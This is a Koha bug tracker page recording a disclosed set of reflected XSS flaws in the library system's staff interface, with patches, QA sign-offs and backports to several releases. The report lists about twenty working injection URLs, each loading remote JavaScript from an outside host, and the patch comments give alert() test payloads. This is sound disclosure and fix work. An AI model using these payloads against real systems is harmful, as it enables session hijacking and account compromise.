Bug 14423 - Multiple XSS and XSRF issues in Staff Client
Summary: Multiple XSS and XSRF issues in Staff Client
Status: CLOSED FIXED
Alias: None
Product: Koha
Classification: Unclassified
Component: Staff interface (show other bugs)
Version: Main
Hardware: All All
: P5 - low major (vote)
Assignee: Bugs List
QA Contact: Testopia
URL:
Keywords:
Depends on:
Blocks: 13618 14568
  Show dependency treegraph
 
Reported: 2015-06-19 14:35 UTC by Raschin Tavakoli
Modified: 2017-06-14 22:10 UTC (History)
10 users (show)

See Also:
Change sponsored?: ---
Patch complexity: ---
Documentation contact:
Documentation submission:
Text to go in the release notes:
Version(s) released in:


Attachments
Screenshots (3.31 MB, application/x-compressed-tar)
2015-06-19 14:35 UTC, Raschin Tavakoli
Details
Bug 14423 : XSS in authorities-home (2.28 KB, patch)
2015-06-21 08:12 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14423 : XSS bug in lateorders (2.38 KB, patch)
2015-06-21 08:20 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14423 XSS bug in auth_subfields_structure (6.99 KB, patch)
2015-06-21 08:36 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14423 : XSS issues in marc_subfields_structure (8.15 KB, patch)
2015-06-21 08:49 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14423 : XSS bugs in catalogue search (3.22 KB, patch)
2015-06-21 09:11 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14423 : Multiple XSS vulnerabilities in serials-search (6.55 KB, patch)
2015-06-21 09:25 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14423 : Multiple XSS bugs in suggestion.pl (5.70 KB, patch)
2015-06-21 09:41 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 14423 : XSS in authorities-home (2.34 KB, patch)
2015-06-22 09:46 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14423 : XSS bug in lateorders (2.44 KB, patch)
2015-06-22 09:47 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14423 XSS bug in auth_subfields_structure (7.05 KB, patch)
2015-06-22 09:47 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14423 : XSS issues in marc_subfields_structure (8.22 KB, patch)
2015-06-22 09:47 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14423 : XSS bugs in catalogue search (3.29 KB, patch)
2015-06-22 09:47 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14423 : Multiple XSS vulnerabilities in serials-search (6.62 KB, patch)
2015-06-22 09:47 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 14423 : Multiple XSS bugs in suggestion.pl (5.76 KB, patch)
2015-06-22 09:47 UTC, Jonathan Druart
Details | Diff | Splinter Review
[PASSED QA] Bug 14423 : XSS in authorities-home (2.41 KB, patch)
2015-06-22 21:04 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14423 : XSS bug in lateorders (2.51 KB, patch)
2015-06-22 21:04 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14423 XSS bug in auth_subfields_structure (7.12 KB, patch)
2015-06-22 21:04 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14423 : XSS issues in marc_subfields_structure (8.29 KB, patch)
2015-06-22 21:04 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14423 : XSS bugs in catalogue search (3.35 KB, patch)
2015-06-22 21:04 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14423 : Multiple XSS vulnerabilities in serials-search (6.69 KB, patch)
2015-06-22 21:04 UTC, Katrin Fischer
Details | Diff | Splinter Review
[PASSED QA] Bug 14423 : Multiple XSS bugs in suggestion.pl (5.83 KB, patch)
2015-06-22 21:04 UTC, Katrin Fischer
Details | Diff | Splinter Review
Bug 14423 - tab characters in auth_subfields_structure (2.62 KB, patch)
2015-06-23 00:37 UTC, Liz Rea
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description Raschin Tavakoli 2015-06-19 14:35:43 UTC
Created attachment 40383 [details]
Screenshots

Multiple XSS and XSRF issues were found during our tests in the Staff client of Koha Libray. 

Here is a list of the findings, including working examples:

authorities-home.pl - parameter value:
http://testbox:9002/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value="/><script src="http://cst.sba-research.org/x.js"/>

lateorders.pl - parameter delay:
http://testbox:9002/cgi-bin/koha/acqui/lateorders.pl?delay=<script src="http://cst.sba-research.org/x.js"></script>&estimateddeliverydatefrom=

auth_subfields_structure.pl - param authtypecode:
http://testbox:9002/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode='<script src="http://cst.sba-research.org/x.js"/>&tagfield=000

auth_subfields_structure.pl - param tagfield:
http://testbox:9002/cgi-bin/koha/admin/auth_subfields_structure.pl?frameworkcode=&op=add_form&tagfield="/><script src="http://cst.sba-research.org/x.js"/>

marc_subfields_structure.pl - param tagfield:
http://testbox:9002/cgi-bin/koha/admin/marc_subfields_structure.pl?op=add_form&tagfield="/><script src="http://cst.sba-research.org/x.js"></script>

search.pl - param limit:
http://testbox:9002/cgi-bin/koha/catalogue/search.pl?limit=<script src="http://cst.sba-research.org/x.js"></script>

serials-search.pl - param bookseller_filter:
testbox:9002/cgi-bin/koha/serials/serials-search.pl?bookseller_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1&title_filter=

serials-search.pl - param callnumber_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?callnumber_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1

serials-search.pl - param EAN_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?EAN_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1

serials-search.pl - param ISSN_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?ISSN_filter="""><<script src="http://cst.sba-research.org/x.js"></script>&searched=1

serials-search.pl - param publisher_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?publisher_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1

serials-search.pl - param title_filter:
http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?title_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1

suggestion.pl - param author:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?author="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param collectiontitle:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?collectiontitle="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param copyrightdate:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?copyrightdate="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param isbn:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?isbn="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param manageddate_from:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?manageddate_from="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param manageddate_to:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?manageddate_to="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param publishercode:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?publishercode="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param suggesteddate_from:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?suggesteddate_from="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

suggestion.pl - param suggesteddate_to:
http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?suggesteddate_to="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to=

---

Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org
Comment 1 Chris Cormack 2015-06-21 08:12:43 UTC Comment hidden (obsolete)
Comment 2 Chris Cormack 2015-06-21 08:20:43 UTC Comment hidden (obsolete)
Comment 3 Chris Cormack 2015-06-21 08:36:42 UTC Comment hidden (obsolete)
Comment 4 Chris Cormack 2015-06-21 08:49:32 UTC Comment hidden (obsolete)
Comment 5 Chris Cormack 2015-06-21 09:11:12 UTC Comment hidden (obsolete)
Comment 6 Chris Cormack 2015-06-21 09:25:58 UTC Comment hidden (obsolete)
Comment 7 Chris Cormack 2015-06-21 09:41:32 UTC Comment hidden (obsolete)
Comment 8 Jonathan Druart 2015-06-22 09:46:55 UTC Comment hidden (obsolete)
Comment 9 Jonathan Druart 2015-06-22 09:47:01 UTC Comment hidden (obsolete)
Comment 10 Jonathan Druart 2015-06-22 09:47:08 UTC Comment hidden (obsolete)
Comment 11 Jonathan Druart 2015-06-22 09:47:11 UTC Comment hidden (obsolete)
Comment 12 Jonathan Druart 2015-06-22 09:47:14 UTC Comment hidden (obsolete)
Comment 13 Jonathan Druart 2015-06-22 09:47:18 UTC Comment hidden (obsolete)
Comment 14 Jonathan Druart 2015-06-22 09:47:21 UTC Comment hidden (obsolete)
Comment 16 Katrin Fischer 2015-06-22 21:04:24 UTC
Created attachment 40495 [details] [review]
[PASSED QA] Bug 14423 : XSS in authorities-home

To test:
1/ Hit a url like http://localhost:8081/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
2/ Notice you get 3 alert boxes
3/ Apply patch
4/ Hit the url again, no js

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 17 Katrin Fischer 2015-06-22 21:04:27 UTC
Created attachment 40496 [details] [review]
[PASSED QA] Bug 14423 : XSS bug in lateorders

1/ hit a url like http://localhost:8081/cgi-bin/koha/acqui/lateorders.pl?delay=<script>alert('oh noes')</script>&estimateddeliverydatefrom
2/ Not you get an alert box
3/ Apply patch notice it is fixed
4/ Test functionality still works

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 18 Katrin Fischer 2015-06-22 21:04:30 UTC
Created attachment 40497 [details] [review]
[PASSED QA] Bug 14423 XSS bug in auth_subfields_structure

1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode=%27%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
2/ Notice a ton of alert boxes pop up
3/ Apply patch
4/ Reload url, no longer get any alerts
5/ Test fuctionality still works

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 19 Katrin Fischer 2015-06-22 21:04:33 UTC
Created attachment 40498 [details] [review]
[PASSED QA] Bug 14423 : XSS issues in marc_subfields_structure

1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/marc_subfields_structure.pl?op=add_form&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
2/ Notice all the alert boxes
3/ Apply patch
4/ Reload page, no more alerts
5/ Test functionality still works

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 20 Katrin Fischer 2015-06-22 21:04:36 UTC
Created attachment 40499 [details] [review]
[PASSED QA] Bug 14423 : XSS bugs in catalogue search

To test

1/ hit a url like http://localhost:8081/cgi-bin/koha/catalogue/search.pl?limit=%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
2/ Notice alert boxes
3/ Apply patch
4/ Reload url, no alerts
5/ Check search still works

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 21 Katrin Fischer 2015-06-22 21:04:40 UTC
Created attachment 40500 [details] [review]
[PASSED QA] Bug 14423 : Multiple XSS vulnerabilities in serials-search

To test

1/ Hit a url like http://localhost:8081/cgi-bin/koha/serials/serials-search.pl?bookseller_filter=%22%22%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&searched=1&title_filter=
2/ Notice alert boxes
3/ Apply patch
4/ Reload, notice fixed

Repeat for
callnumber_filter
EAN_filter
ISSN_filter
publisher_filter
title_filter

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 22 Katrin Fischer 2015-06-22 21:04:43 UTC
Created attachment 40501 [details] [review]
[PASSED QA] Bug 14423 : Multiple XSS bugs in suggestion.pl

To test
1/ Hit a url like http://localhost:8081/cgi-bin/koha/suggestion/suggestion.pl?author=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&accepteddate_to=
2/ Notice alert box(es)
3/ Apply patch
4/ Reload and notice alert is gone

Repeat for
collection_title
copyrightdate
isbn
manageddate_from
manageddate_to
publishercode
suggesteddate_from
suggesteddate_to

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 23 Chris Cormack 2015-06-23 00:28:05 UTC
Pushed to 3.20.x will be in 3.20.1 (still need to go into master)
Comment 24 Liz Rea 2015-06-23 00:37:53 UTC
Created attachment 40503 [details] [review]
Bug 14423 - tab characters in auth_subfields_structure
Comment 25 Liz Rea 2015-06-23 01:54:43 UTC
Pushed to 3.18.x will be in 3.18.08
Comment 26 Fridolin Somers 2015-06-23 12:43:18 UTC
Pushed to 3.14.x, will be in 3.14.16
Comment 27 Tomás Cohen Arazi 2015-06-23 13:22:03 UTC
Patches pushed to master.

Thanks Chris!
Comment 28 Mason James 2015-06-23 14:05:26 UTC
Pushed to 3.16.x, will be in 3.16.12